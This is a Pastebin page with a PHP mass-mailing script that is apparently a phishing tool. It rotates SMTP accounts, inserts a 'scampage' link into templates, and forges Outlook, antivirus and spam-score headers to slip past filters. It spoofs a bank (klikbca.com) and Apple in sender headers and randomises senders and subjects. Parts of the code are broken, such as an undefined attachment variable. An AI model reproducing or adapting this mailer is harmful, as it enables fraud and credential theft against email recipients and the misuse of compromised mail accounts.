Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * @Author: Panji Dwi Setiawan
- * @Date: 2017-09-14 07:49:43
- * @Last Modified by: Panji Dwi Setiawan
- * @Last Modified time: 2018-03-21 20:37:55
- */
- require_once("setting/phpmailer/PHPMailerAutoload.php");
- include('setting/settings.php');
- include('setting/function.php');
- include('setting/stillku.php');
- function Kirim($email, $smtp_acc, $anugan)
- {
- $euew = new MoneyhunterModules;
- $smtp = new SMTP;
- $smtp->do_debug = 0;
- $smtpserver = $smtp_acc['host'];
- $smtpport = $smtp_acc['port'];
- $smtpuser = $smtp_acc['username'];
- $smtppass = $smtp_acc['password'];
- $priority = $anugan['priority'];
- $userandom = $anugan['userandom'];
- $sleeptime = $anugan['sleeptime'];
- $replacement = $anugan['replacement'];
- $userremoveline = $anugan['userremoveline'];
- $fromname = $anugan['fromname'];
- $frommail = $anugan['frommail'];
- $subject = $anugan['subject'];
- $msgfile = $anugan['msgfile'];
- $filepdf = $anugan['filesend'];
- $randurl = $anugan['scampage'];
- if (!$smtp->connect($smtpserver, $smtpport)) {
- throw new Exception('Connect failed');
- }
- //Say hello
- if (!$smtp->hello(gethostname())) {
- throw new Exception('EHLO failed: ' . $smtp->getError()['error']);
- }
- $e = $smtp->getServerExtList();
- if (array_key_exists('STARTTLS', $e)) {
- $tlsok = $smtp->startTLS();
- if (!$tlsok) {
- throw new Exception('Failed to start encryption: ' . $smtp->getError()['error']);
- }
- if (!$smtp->hello(gethostname())) {
- throw new Exception('EHLO (2) failed: ' . $smtp->getError()['error']);
- }
- $e = $smtp->getServerExtList();
- }
- if (array_key_exists('AUTH', $e)) {
- if ($smtp->authenticate($smtpuser, $smtppass)) {
- $priority = 0;
- $mail = new PHPMailer;
- $mail->Encoding = 'base64'; // 8bit base64 multipart/alternative quoted-printable
- $mail->CharSet = 'UTF-8';
- $mail->headerLine("format", "flowed");
- $mail->clearAddresses();
- $mail->clearCustomHeaders();
- $mail->clearAllRecipients();
- if ($priority == 1) {
- $mail->AddCustomHeader("Importance: High");
- }
- //$mail->addCustomHeader('X-IncomingTopHeaderMarker', 'OriginalChecksum:CF8629943C45564072C26D998C726EB4523C9D11E9BB59BA16715C6637D8F29B;UpperCasedChecksum:C40D3A50581619E3B3019978BB1E9A5A9DFCB042F62FC3FFF6D90F23BBF77F8D;SizeAsReceived:1562;Count:13');
- $mail->addCustomHeader('Message-ID' , '<'.strtoupper($euew->random_text('textnumrandom', 12)).'.'.strtoupper($euew->random_text('textnumrandom', 13)).'@'.strtoupper($euew->random_text('textnumrandom', 15)).'>');
- $mail->addCustomHeader('In-Reply-To','<'.strtoupper($euew->random_text('textnumrandom', 40)).'@'.strtoupper($euew->random_text('textnumrandom', 16)).'.apcprd06.prod.outlook.com>');
- $mail->addCustomHeader('References','<'.strtoupper($euew->random_text('textnumrandom', 40)).'@'.strtoupper($euew->random_text('textnumrandom', 16)).'.apcprd06.prod.outlook.com>'.' <'.strtoupper($euew->random_text('textnumrandom', 40)).'@'.strtoupper($euew->random_text('textnumrandom', 16)).'.apcprd06.prod.outlook.com>');
- $mail->addCustomHeader('x-store-info' , 'sbevkl2QZR7OXo7WID5ZcVBK1Phj2jX');
- $mail->addCustomHeader('X-MSAPipeline', 'MessageDispatcherEOP');
- $mail->addCustomHeader('X-BO1-SAF2-RCPT-Passed' , 'Yes');
- $mail->addCustomHeader('X-Antivirus-Scanner' , 'ClamAV - No Detected Virus, though you should still use a Local Antivirus on your computer.');
- $mail->addCustomHeader('X-Scanned-By' , 'Tzolkin-Spam-Scanner');
- $mail->addCustomHeader('X-Spam-Status: No' , 'score=3.0 required=5.0 tests=BAYES_50,HTML_MESSAGE, UNPARSEABLE_RELAY autolearn=no version=3.3.1');
- $mail->addCustomHeader('Content-type', "text/calendar; method=REQUEST; charset=UTF-8");
- $mail->addCustomHeader('Content-Transfer-Encoding', "8bit");
- $mail->addCustomHeader("Content-class: urn:content-classes:calendarmessage");
- $mail->addCustomHeader('X-Sender' , 'Ipad Mail '.$euew->versi()." (https://klikbca.com)");
- $mail->addCustomHeader('X-Mailer' , 'Ipad Mail '.$euew->versi()." (https://klikbca.com)");
- $mail->addCustomHeader("List-Owner", "<mailto:customer@apple.com>");
- $mail->do_debug = 1;
- $mail->IsSMTP();
- $mail->SMTPAuth = true;
- $mail->Host = $smtpserver;
- $mail->Port = $smtpport;
- $mail->Priority = $priority;
- $mail->Username = $smtpuser;
- $mail->Password = $smtppass;
- if ($userandom == 1) {
- $rand = rand(1, 50);
- $fromname = randName($rand);
- $frommail = randMail($rand);
- $subject = randSubject($rand);
- }
- if ($anugan['filesend'] == 0) {
- $filepdf = file_get_contents($AddAttachment);
- $mail->AddAttachment($filepdf);
- }
- $asu = RandString1(8);
- $asu1 = RandString(5);
- $asu2 = RandString1(5);
- $nmbr = RandNumber(5);
- $fromnames = str_replace('##randstring##', $asu1, $fromname);
- $frommails = str_replace('##randstring##', $asu, $frommail);
- $subjects = str_replace('##randstring##', $asu2, $subject);
- $mail->setFrom($frommails, $fromnames);
- // $data = str_replace("{email}", '***'.substr($email,3), $data);
- $mail->AddAddress($email);
- $mail->Subject = $subjects;
- if ($replacement == 1) {
- $msg = lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject);
- } else {
- $msg = file_get_contents($msgfile);
- }
- $mail->msgHTML($msg);
- if (!$mail->send()) {
- echo json_encode([
- 'error' => 'failed',
- 'from' => $smtpuser
- ]);
- exit();
- } else {
- $info = "Send To : ".$email." | Send From : ".$smtpuser;
- echo json_encode([
- 'error' => 'success',
- 'info' => $info,
- 'from' => $smtpuser
- ]);
- }
- $mail->clearAddresses();
- } else {
- //
- echo json_encode([
- 'error' => 'failed',
- 'from' => $smtpuser
- ]);
- }
- $smtp->quit(true);
- }
- }
- $email = @$_GET['email'];
- $smtp_key = rand(0, (count($smtp_acc)-1));
- Kirim($email, $smtp_acc[$smtp_key], $anugan);
Add Comment
Please, Sign In to add comment